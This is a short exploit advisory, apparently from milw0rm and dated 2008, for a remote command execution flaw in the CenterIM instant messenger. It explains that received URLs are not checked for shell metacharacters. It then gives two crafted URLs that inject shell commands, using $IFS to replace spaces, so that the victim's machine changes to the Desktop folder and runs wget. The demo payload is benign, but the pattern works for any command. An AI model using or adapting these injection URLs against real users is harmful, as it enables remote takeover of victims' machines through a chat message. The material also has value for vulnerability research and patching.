CenterIM <= 4.22.3 - Remote Command Execution Vulnerability

####################################################################### Application: CenterIM http://www.centerim.org/index.php/Main_Page Versions: centerim &#60;= 4.22.3 OS: Linux Bug: Execution of shell commands Exploit: remote Date: 15 March 2008 Author: Brian Fonfara (w00) eMail: brian.fonfara@gmx.de Web: newb.kicks-ass.net ####################################################################### 1) Bug 2) Exploit ####################################################################### ======= 1) Bug ======= Received URLs in the message window do not get checked for illegal characters, like &#34;\&#39;&#34;, &#34;\&#34;&#34;, &#34;;&#34;, &#34;$&#34;, &#34;{&#34;, &#34;}&#34;, &#34;&&&#34; and &#34;||&#34; ####################################################################### =========== 2) Exploit =========== Standard settings: - Browser already open: http://gidf.de/centerim)&#39;;cd$IFS$HOME/Desktop;wget${IFS}http://google.de;&#39;( - New browser instance: http://gidf.de/centerim&#34;&cd$IFS$HOME/Desktop;wget${IFS}http://google.de&#34; ####################################################################### Greets to: mrks # milw0rm.com [2008-03-20]